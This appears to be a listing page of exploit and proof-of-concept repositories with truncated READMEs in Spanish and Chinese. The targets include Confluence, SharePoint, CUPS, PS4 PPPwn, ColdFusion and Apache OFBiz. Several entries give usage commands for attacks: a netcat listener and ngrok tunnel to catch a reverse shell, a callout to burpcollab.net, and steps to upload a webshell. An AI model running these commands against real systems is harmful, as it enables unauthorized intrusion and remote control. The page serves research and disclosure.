The_Shelf

The Shelf The Shelf es un lugar donde Trustedsec coloca capacidades que se están retirando de nuestro uso estándar. Las capacidades subidas a The Shelf no cuentan con soporte y se ofrecen tal cual AS IS. Este repositorio tampoco aceptará pull requests; se cerrarán sin comentarios. Estructura Verá...

DIY-CVE-2026-42945-POC

Entorno de ejecución Docker con Ubuntu 22.04 + nginx 1.30.0 Este entorno compila nginx 1.30.0 desde el código fuente en Ubuntu 22.04 para pruebas HTTP locales. PHP-FPM se configura directamente en el Dockerfile porque nginx.conf reenvía las solicitudes PHP a /tmp/php-cgi-80.sock. Ejecutar...

PPPwn

PPPwn - PlayStation 4 PPPoE RCE PPPwn 是一个针对 PlayStation 4（最高支持 FW 11.00）的内核远程代码执行漏洞利用。这是针对 CVE-2006-4304 的概念验证利用，该漏洞已负责任地报告给 PlayStation。 支持的版本有： FW 7.00 / 7.01 / 7.02 FW 7.50 / 7.51 / 7.55 FW 8.00 / 8.01 / 8.03 FW 8.50 / 8.52 FW 9.00 FW 9.03 / 9.04 FW 9.50 / 9.51 / 9.60 FW 10.00 / 10.01 FW 10.50...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 真实环境 POC 用法 下载 bun https://github.com/oven-sh/bun/releases 启动 ngrok root@kitploit: ngrok tcp 4444 监听 localhost 4444 root@kitploit: nc -nvlp 4444 运行 exploit root@kitploit: bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169...

RCE-RealEstateVIDEOPOC

此存储库没有 README。...

MS-SharePoint-July-Patch-RCE-PoC

MS-SharePoint-July-Patch-RCE-PoC 针对以下漏洞的 PoC： CVE-2024-38094 CVE-2024-38024 CVE-2024-38023 PoC 视频： https://youtu.be/u8mccaakISw...

CVE_POC

此存储库没有 README。...

Exploits

漏洞利用 此仓库包含所有 POC 和所有自定义漏洞利用...

optionsbleed

optionsbleed Esto es un código de prueba de concepto para comprobar el bug Optionsbleed en Apache httpd CVE-2017-9798. Por favor, considera usar la herramienta Snallygaster en su lugar; incluye una comprobación para optionsbleed: root@kitploit: snallygaster -t optionsbleed host uso root@kitploit:...

CVE-PoC

此存储库没有 README。...

CVE-2025-49132

CVE-2025-49132-POC 我出于个人挑战制作了这个PoC，灵感来自0xtensho 旨在提供更清晰的输出，仅用于反弹shell 用法： root@kitploit: 先更改主机和监听器变量 python3 CVE-2025-49132POC.py 免责声明 法律免责声明：本概念验证（PoC）仅供教育目的。作者不对因使用本程序造成的任何滥用或损害负责。未经授权访问计算机系统是犯罪行为。使用本工具即表示您同意对自己的行为承担全部责任。请自行承担风险使用。...

coldfusion-amf

coldfusion-amf Coldfusion AMF 漏洞利用 root@kitploit: pwn http://localhost "nslookup burpcollab.net"...

cupshax

CUPSHax 针对近期 CUPS 漏洞的快速概念验证（PoC）。我原本打算做更多整理工作，但 embargo 解除的时间比预期早得多，所以代码写得有些仓促。 至于所有技术细节，说实话你应该直接阅读 Evilsocket 的分析文章。 该漏洞利用是在发现公开 OpenPrinting CUPS 仓库中的这个提交之后编写的。可能还有更简洁的注入点。 这个 PoC 使用 dns-sd 打印机发现机制，因此目标必须能够接收到广播消息，即攻击者和目标需要在同一网络中。 用法 该漏洞利用使用 zeroconf 和 ippserver，两者均可通过 pip 安装。 root@kitploit:...

Exploit_Development

Pruebas de concepto para mis CVEs CVE-2022-3436 - Online Student Clearance System v1.0 - CVE-2022-3436.py...

VulnerabilityResearch

漏洞研究仓库 概述 欢迎来到我的漏洞研究仓库。这个空间致力于记录和分享我多年来发现的各种安全漏洞的研究成果。该仓库包含详细的漏洞分析报告和概念验证（POC）脚本，展示了网络安全漏洞的理论与实践两个方面。 免责声明 本仓库中的内容仅供教育和研究目的使用。对于因使用这些信息而造成的任何滥用或损害，我不承担任何责任。所有用户均应遵守道德规范并遵循法律准则。 保持好奇心，始终进行负责任且合乎道德的黑客实践！...

CVE-2019-2725-POC

CVE-2019-2725-POC CVE-2019-2725-POC 修改txt中的大马地址为自己的大马地址，利用burpsuite向目标服务器发送post请求，请求包内容为txt中的内容。...

CVE-2021-26295-Apache-OFBiz

CVE-2021-26295-Apache-OFBiz CVE-2021-26295 Apache OFBiz RMI deserialization POC Es necesario colocar ysoserial.jar en el directorio, y no se puede usar una versión alta de Java...

CVE-2021-46422_RCE

CVE-2021-46422 RCE 安装 root@kitploit: git clone https://github.com/yigexioabai/CVE-2021-46422-RCE.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2021-46422 RCE.py放到pocsuite3\pocs目录下 cd pocs pocsuite3使用 单个url: root@kitploit: pocsuite -r CVE-2021-46422 RCE.py -u url 多个url:...

CVE-2026-33017-PoC

此存储库没有 README。...

poc-graphql

目录 目录 关于GraphQL的研究 目标 实验室 在Docker上部署 安全弱点 授权 问题 建议 注入 问题 建议 资源耗尽 问题 建议 私有数据暴露 问题 建议 意外错误时技术信息泄露 问题 建议 不安全的直接对象引用 问题 API暴露给错误的客户端范围 问题 订阅WebSocket端点默认启用 跨源资源共享默认启用 建议 发现查询 使用的参考资料 GraphQL 实验室 关于GraphQL的研究 目标 1. 研究什么是GraphQL。 2. 从应用安全角度分析GraphQL的使用（攻击与防御）。 3. 识别可能被利用的潜在弱点。 实验室...